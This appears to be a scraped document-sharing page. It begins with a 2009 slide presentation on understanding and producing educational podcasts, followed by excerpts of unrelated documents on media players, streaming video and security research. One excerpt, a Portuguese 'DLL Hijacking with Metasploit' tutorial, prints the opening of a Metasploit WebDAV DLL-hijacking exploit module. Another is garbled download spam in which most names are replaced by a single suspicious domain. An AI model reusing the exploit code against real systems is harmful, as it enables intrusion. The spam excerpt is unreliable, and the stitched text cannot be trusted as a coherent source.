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Podcast Presentation
3/18/2009 Today’s Goals Podcasts: Understanding, 1. What is a podcast? Creating, and Deploying them 2. How do I get podcasts? 3. How do I play podcasts? 4. Why should I care about podcasts for Dr. Rick Jerz ediducation? 5. How do I produce my own audio podcasts? [email protected] 6. How do I deliver (deploy) my own podcasts? www.rjerz.com 1 © 2009 rjerz.com 2 © 2009 rjerz.com Demos 1) What is a Podcast? • It must be nothing, since the “podcast” is not in my dictionary. • It is something only children do. • It has something to do with fishing. • It is a radio talk show. • It a music file. • It is a TV program. • It is a lecture. 3 © 2009 rjerz.com 4 © 2009 rjerz.com Podcast Definition1 Rick’s Podcast Definition • Podcasting is a new format for distributing A method of obtaining (subscribing) audio and video content via the Internet. Actually, podcasting is just multimedia computer files (episodes), usually content enclosed into an RSS file. audio (mp3) or video (m4v), from a • RSS means Really Simple Syndication. RSS is a catalog (RSS feed, XML) on the special format based on XML. In fact, RSS Internet (website), and having them feeds are XML files containing data according to the RSS specification, and usually located automatically delivered to your on a website. computer and then to your iPod (or • XML: an HTML‐like file for handling data. other multimedia player) • HTML: Hyper Text Markup Language 1 ‐ http://www.rss‐specification.com/sitemap.htm 5 © 2009 rjerz.com 6 © 2009 rjerz.com 1 3/18/2009 2) How do I get podcasts? iTunes: An Aggregator -
E Player Download
E player download LINK TO DOWNLOAD · VideoLAN, VLC, VLC media player and x are trademarks internationally registered by the VideoLAN non-profit organization. VideoLAN software is licensed under various open-source licenses: use and distribution are defined by each software license. Design by Made By Argon. Some icons are licensed under the CC BY-SA +.renuzap.podarokideal.ru Player 将于 年 12 月 31 日终止服务。有关更多详情,请参阅 Flash Player 生命周期终止信息页面。 主页 步骤:第 1 步,共 3 步 Adobe Flash Player 版本 系统要求 您的系统:, 简体中文 您是否是 IT 经理或 OEM renuzap.podarokideal.ru GOM Lab offers a wide range of multimedia software, mobile apps, and web services, from video player to video editor, such as GOM Player, GOM Mix Pro, etc. [US]renuzap.podarokideal.ru · Watch all your favourite TV shows Live or On Demand on your PC, smartphone or tablet for renuzap.podarokideal.ru://renuzap.podarokideal.ru · XePlayer, free download. Android emulator software for Windows: Android emulator that can download apps from the Google Play store. Review of XePlayer. Includes tests and PC download for Windows 32 and bit renuzap.podarokideal.ru › Software Downloads › Mobile Phone › Mobile Phone Tools › XePlayer. · Powerful video player with advanced hardware acceleration and subtitle support. You can now share files, music, apps and more in a click using MX File Transfer a) HARDWARE ACCELERATION - Hardware acceleration can be applied to more videos with the help of new HW+ decoder. b) MULTI-CORE DECODING - MX Player is the first Android video player which supports renuzap.podarokideal.ru? id=renuzap.podarokideal.ru renuzap.podarokideal.ru ™ is used by more than 70 million multi media users throughout the world and it has been translated into more than 90 languages renuzap.podarokideal.ru ™, a free media movie player, AVCHD video format and download missing m2v, mp4, mpv, renuzap.podarokideal.ru Adobe is changing the world through digital experiences. -
Realaudio and Realvideo Content Creation Guide
RealAudioâ and RealVideoâ Content Creation Guide Version 5.0 RealNetworks, Inc. Contents Contents Introduction......................................................................................................................... 1 Streaming and Real-Time Delivery................................................................................... 1 Performance Range .......................................................................................................... 1 Content Sources ............................................................................................................... 2 Web Page Creation and Publishing................................................................................... 2 Basic Steps to Adding Streaming Media to Your Web Site ............................................... 3 Using this Guide .............................................................................................................. 4 Overview ............................................................................................................................. 6 RealAudio and RealVideo Clips ....................................................................................... 6 Components of RealSystem 5.0 ........................................................................................ 6 RealAudio and RealVideo Files and Metafiles .................................................................. 8 Delivering a RealAudio or RealVideo Clip ...................................................................... -
Download Video Player for Pc 10 Best and Free Video Players for Windows 10 PC in 2021
download video player for pc 10 Best And Free Video Players For Windows 10 PC in 2021. We all love to watch TV shows, Movies on our computers. Since computers are more preferred nowadays, more and more streaming sites are popping out of the web. However, not everyone out there loves to stream videos because video streaming can be expensive. We first need to have a proper internet connection and a subscription to the streaming service to watch videos. In this case, downloading videos seems to be the best option as we have to spend the internet data once rather than streaming it again and again. But, what after downloading the video? Is it enough to get the best media experience? Well, no! To get the best video experience, we need to use the best media player. The media player is the only thing that decides our media consumption experience. So, having a good media player app is the most vital thing for media consumption. In this article, we will share the list of the best free video players for Windows. List of 10 Best And Free Video Players For Windows 10. These video players are free to download, and you can use them to get the most amazing video watching experience. So, let’s explore the ten best free video players for Windows. 1. Media Player Classic. If you are searching for a powerful video player tool for Windows 10 operating system, you need to give Media Player Classic a try. Guess what? The tool provides users with lots of customization options. -
I Feasibility of Streaming Media for Transportation Research And
Feasibility of Streaming Media For Transportation Research and Implementation Final Report Prepared by: Drew M. Coleman July 2007 Research Project SPR-2231 Report No. 2231-F-05-11 Connecticut Department of Transportation Bureau of Engineering and Highway operations Division of Research Keith R. Lane, P.E. Director of Research and Materials James M. Sime, P.E. Manager of Research i TECHNICAL REPORT DOCUMENTATION PAGE 1. Report No. 2. Government Accession 3. Recipients Catalog No. 2231-F-05-11 No. 4. Title and Subtitle 5. Report Date Feasibility of Streaming Media for July 2007 Transportation Research and 6. Performing Organization Code Implementation SPR-2231 7. Author(s) Drew M. Coleman 8. Performing Organization Report No. 2231-F-05-11 9. Performing Organization Name and 10. Work Unit No. (TRIS) Address 11. Contract or Grant No. Connecticut Department of Transportation CT Study No. SPR-2231 Division of Research 13. Type of Report and Period Covered 280 West Street Final Report Rocky Hill, CT 06067-3502 February 2001-June 2007 12. Sponsoring Agency Name and Address Connecticut Department of Transportation 2800 Berlin Turnpike 14. Sponsoring Agency Code Newington, CT 06131-7546 SPR-2231 15. Supplementary Notes Conducted in cooperation with the U.S. Department of Transportation, Federal Highway Administration 16. Abstract This report is intended to serve as a guide for transportation personnel in the development and dissemination of streaming video-based presentations. These were created using streaming media production tools, then delivered via network and Web-based media servers, and finally, viewed from the end-users’ PC- desktops. The study focuses on three popular streaming media technology platforms: RealNetworks®, Microsoft® and Apple®. -
DLL Hijacking with Metasploit
Autor :Ô.._ mar Fontenele a k a f0nt Drk Date :// 06 03 2011 DLL Hijacking with Metasploit É o seguinte, a técnica consiste em explorar a DLL vulneravel de algum programa e a exploitar . Primeiro vamos ao nosso Metasploit : user@root ~# msfconsole Agora vamos criar uma DLL maliciosa similar a original da Aplicação . usando este exploit : ## # $Id: webdav_dll_hijacker.rb 10101 2010-08-23 13:41:59Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # # This module acts as an HTTP server # include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'WebDAV Application DLL Hijacker', 'Description' => %q{ This module presents a directory of file extensions that can lead to code execution when opened from the share. The default EXTENSIONS option must be configured to specify a vulnerable application type. }, 'Author' => [ 'hdm', # Module itself 'jduck', # WebDAV implementation 'jcran', # Exploit vectors ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10101 $', 'References' => [ ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn- loadlibrarygetprocaddress.html'], ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1- PUB.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', -
A Comparison of Video Formats for Online Teaching Ross A
Contemporary Issues in Education Research – First Quarter 2017 Volume 10, Number 1 A Comparison Of Video Formats For Online Teaching Ross A. Malaga, Montclair State University, USA Nicole B. Koppel, Montclair State University, USA ABSTRACT The use of video to deliver content to students online has become increasingly popular. However, educators are often plagued with the question of which format to use to deliver asynchronous video material. Whether it is a College or University committing to a common video format or an individual instructor selecting the method that works best for his or her course, this research presents a comparison of various video formats that can be applied to online education and provides guidance in which one to select. Keywords: Online Teaching; Video Formats; Technology Acceptance Model INTRODUCTION istance learning is one of the most talked-about topics in higher education today. Online and hybrid (or blended) learning removes location and time-bound constraints of the traditional college classroom to a learning environment that can occur anytime or anywhere in a global environment. DAccording to research by the Online Learning Consortium, over 5 million students took an online course in the Fall 2014 semester. This represents an increase in online enrollment of over 3.9% in just one year. In 2014, 28% of higher education students took one or more courses online (Allen, I. E. and Seaman, J, 2016). With this incredible growth, albeit slower than the growth in previous years, institutions of higher education are continuing to increase their online course and program offerings. As such, institutions need to find easy to develop, easy to use, reliable, and reasonably priced technologies to deliver online content. -
Anshul Arora, and Sateesh Kumar Peddoju Department of Computer Science and Engineering INDIAN INSTITUTE of TECHNOLOGY ROORKEE
Anshul Arora, and Sateesh Kumar Peddoju Department of Computer Science and Engineering INDIAN INSTITUTE OF TECHNOLOGY ROORKEE List of Normal Apps Considered for Mobile Malware Detection. CATEGORY: EDUCATION Vocabulary Vajiram IAS Daily Current TED O’Reilly Builder Affairs Linkedln BBC Learning edX- Online DailyArt Dr. Najeeb Learning English Courses Lectures NeuroNation Curiosity UPSC IAS All in Testbook Exam Edureka One Preparation Crazy GK Gradeup Exam Lucent GK Daily Editorial Skyview Free Tricks Preparation eBooks for IAS IASBaba Improve English WifiStudy Conferenza Speaking MCQs Mrunal IQ and Aptitude Researcher Toppr Swayam Test SkillShare Vision IAS Math Tricks IndiaBix Simplilearn Courses Unacademy Learn Python Insights IAS NCERT Books Kreatryx Educator General Science Lumosity Udemy Online Vedantu Learning Ultimate Quiz Course Vocabulary Prep Coursera Byju’s Learning Hindu Vocab Programming Shaw Academy Algorithms SoloLearn Elevate Brilliant Medical Books Enguru Bank Exams DataCamp Duolingo MadGuy Lynda Today Learn English Khan Academy Drops: Learn new SSC Tube Online Languages with Conversations Kids languages Learning Memrise Cambridge MathsApp WordUp IGNOU eContent Kampus English Vocabulary Konversations Conversation Quizlet IELTS Prep Varsity by U-Dictionary Ready 4 GMAT App Zerodha Skholar Startup India Kickel GRE Flashcards ePathshala Learning program Wisdom Blinklist PhotoMath Barron’s 1100 for Headway Learning GRE Shubhra Ranjan Mahendra’s Free Current Target SSB IMS CATsapp MCQ Tool Affairs Wordbit Learn R EnglishScore eMedicoz Tutorials Point German Programming Sleepy Classes AFEIAS Job News 7 Government Star Tracker Schemes IELTS Full MMD Exams upGrad GMAT Club Forum Codecademy Go Band 7.5+ Free IIT JEE Mission UPSC Learning Space 3e Learning Edu Tap Anshul Arora, and Sateesh Kumar Peddoju Department of Computer Science and Engineering INDIAN INSTITUTE OF TECHNOLOGY ROORKEE List of Normal Apps Considered for Mobile Malware Detection. -
Universidad De Guayaquil Facultad De Ingenieria Industrial Departamento Académico De Graduación
UNIVERSIDAD DE GUAYAQUIL FACULTAD DE INGENIERIA INDUSTRIAL DEPARTAMENTO ACADÉMICO DE GRADUACIÓN TRABAJO DE TITULACIÓN PREVIO A LA OBTENCIÓN DEL TÍTULO DE INGENIERO EN TELEINFORMÁTICA TEMA “ANÁLISIS DE USO DEL SOFTWARE LIBRE COMO HERRAMIENTA DE APOYO EN EL PROCESO DE ENSEÑANZA-APRENDIZAJE EN LA CARRERA INGENIERÍA EN TELEINFORMÁTICA DE LA FACULTAD DE INGENIERÍA INDUSTRIAL DE LA UNIVERSIDAD DE GUAYAQUIL” AUTOR CLAVIJO MORANTE ERICK XAVIER DIRECTOR DEL TRABAJO ING. TELEC. VEINTIMILLA ANDRADE JAIRO GEOVANNY 2015 GUAYAQUIL-ECUADOR ii “La responsabilidad de los hechos, ideas y doctrinas expuestas en este trabajo de titulación corresponden exclusivamente al autor” Clavijo Morante Erick Xavier C.I. 0925589236 iii DEDICATORIA El presente trabajo de titulación está dedicado a todas las personas que confiaron en mí y que siempre me apoyaron para cumplir con mis metas y mis sueños. iv AGRADECIMIENTO A Dios, quién supo guiarme por el buen camino y darme fuerza para seguir adelante. A mis padres, quienes con su apoyo y consejos han sabido guiarme para culminar mi carrera profesional. A mi asesor de Tesis Ing. Jairo Veintimilla Andrade por su gran ayuda en todo el proceso de desarrollo de esta tesis. A mis amigos, compañeros y a todas aquellas personas que de una u otra manera contribuyeron para el logro de mis objetivos. v ÍNDICE GENERAL Descripción Pág. PRÓLOGO 1 CAPÍTULO I INTRODUCCIÓN N° Descripción Pág. 1.1 Tema 2 1.2 Planteamiento del Problema 2 1.3 Delimitación del objeto de la investigación 3 1.3.1 Delimitación Espacial 3 1.3.2 Delimitación Temporal 3 1.3.3 Delimitación Conceptual 4 1.4 Justificación 4 1.5 Objetivos 5 1.5.1 Objetivo General 5 1.5.2 Objetivos Específicos 5 1.6 Preguntas directrices 5 CAPITULO II MARCO TEÓRICO N° Descripción Pág. -
Multimedia REVOLUTION of the CENTURY PRESENTED BY
Multimedia REVOLUTION OF THE CENTURY PRESENTED BY MANU SHIVHARE(IT-ITM) SHIVAM TUTEJA(IT-ITM) CONTENTS INTRODUCTION WHAT IS ?? • Many or more MULTI than one • Medium of MEDIA Communication MULTIMEDIA.. Multimedia is media and content that uses a combination of different content forms. The term is used in contrast to media which only use traditional forms of printed or hand-produced material. Multimedia includes a combination of . Text . Audio . Still images . Animation video . Interactivity content forms. HISTORY The term “MULTIMEDIA” was first used by BOB GOLDSTEIN in July 1996 to promote opening of his light works. In 1970s the term was used to describe presentations consisting of multi-projector slide shows timed to an audio track. In 1990s „multimedia „ took on its current meaning. TAY VAUGHAN declared “Multimedia as combination of text, graphic art, sound, animation, and video that is delivered by computer. CONTD.. In common usage, the term multimedia refers to an electronically delivered combination of media including video, still images, audio, text in such a way that can be accessed interactively. Computers marketed in 1990s were referred to as “MULTIMEDIA COMPUTERS” because they contained a CD-ROM drive. CATEGORIZATION LINEAR MULTIMEDIA NON-LINEAR MULTIMEDIA Linear active content progresses Non-linear content offers user without any navigational control for the interactivity to control progress as used viewer. with a computer game . Cinema presentation is an example of Hypermedia is an example of non- linear multimedia. linear multimedia. CHARACTERISTICS Multimedia presentations can be viewed in person on stage, projected, transmitted, or played locally with a media player. Broadcasts and recordings can be either analog or digital electronic media technology. -
Before You Begin Producing
Producing with Camtasia Before You Begin Producing Before you begin to produce your video you need to decide how it will be shared; web based, CD, DVD. Once you have decided how you are going to share your video you need to decide which file format would be the best for that particular mode of delivery. The file formats you can save with in Camtasia include: AVI, Macromedia Flash (SWF), Windows Media (WMV), QickTime, Macromedia Flash (FLV), RealMedia (RM), Camtasia for RealPlayer (CAMV), and GIF animation. Click on Show more file formats to view all these options. AVI video file: AVI is recommended for CD delivery requiring the highest video quality. Once you produce your completed AVI files, use Pack and Show to bundle the Camtasia Player and Codec for easy delivery on CD‐ROM. It can also be edited by using Camtasia or other video editing programs. This is the type of format the original video will save as after recording with Camtasia. Macromedia Flash (SWF) movie file: An SWF file format can be used for videos that are 3‐5 minutes. This file format is good for using if you want to put your video on the internet and it is supported by most browsers. You will need the Flash plug‐in to view this video. Windows Media (WMV) streaming media file: A WMV file format creates smaller file sizes and works well for longer videos. It does not have to be downloaded and plays in Microsoft Windows Media Player. It is a streaming video file format. This type of file must be stored on a Windows Media streaming server. -
Towards Efficient Heap Overflow Discovery
Towards Efficient Heap Overflow Discovery Xiangkun Jia, TCA/SKLCS, Institute of Software, Chinese Academy of Sciences; Chao Zhang, Institute for Network Science and Cyberspace, Tsinghua University; Purui Su, Yi Yang, Huafeng Huang, and Dengguo Feng, TCA/SKLCS, Institute of Software, Chinese Academy of Sciences https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/jia This paper is included in the Proceedings of the 26th USENIX Security Symposium August 16–18, 2017 • Vancouver, BC, Canada ISBN 978-1-931971-40-9 Open access to the Proceedings of the 26th USENIX Security Symposium is sponsored by USENIX Towards Efficient Heap Overflow Discovery Xiangkun Jia1;3, Chao Zhang2 , Purui Su1;3 , Yi Yang1, Huafeng Huang1, Dengguo Feng1 1TCA/SKLCS, Institute of Software, Chinese Academy of Sciences 2Institute for Network Science and Cyberspace 3University of Chinese Academy of Sciences Tsinghua University {jiaxiangkun, yangyi, huanghuafeng, feng}@tca.iscas.ac.cn [email protected] [email protected] Abstract to attack. As the heap layout is not deterministic, heap Heap overflow is a prevalent memory corruption vulner- overflow vulnerabilities are in general harder to exploit ability, playing an important role in recent attacks. Find- than stack corruption vulnerabilities. But attackers could ing such vulnerabilities in applications is thus critical for utilize techniques like heap spray [16] and heap feng- security. Many state-of-art solutions focus on runtime shui [43] to arrange the heap layout and reliably launch detection, requiring abundant inputs to explore program attacks, making heap overflow a realistic threat. paths in order to reach a high code coverage and luckily Several solutions are proposed to protect heap overflow trigger security violations.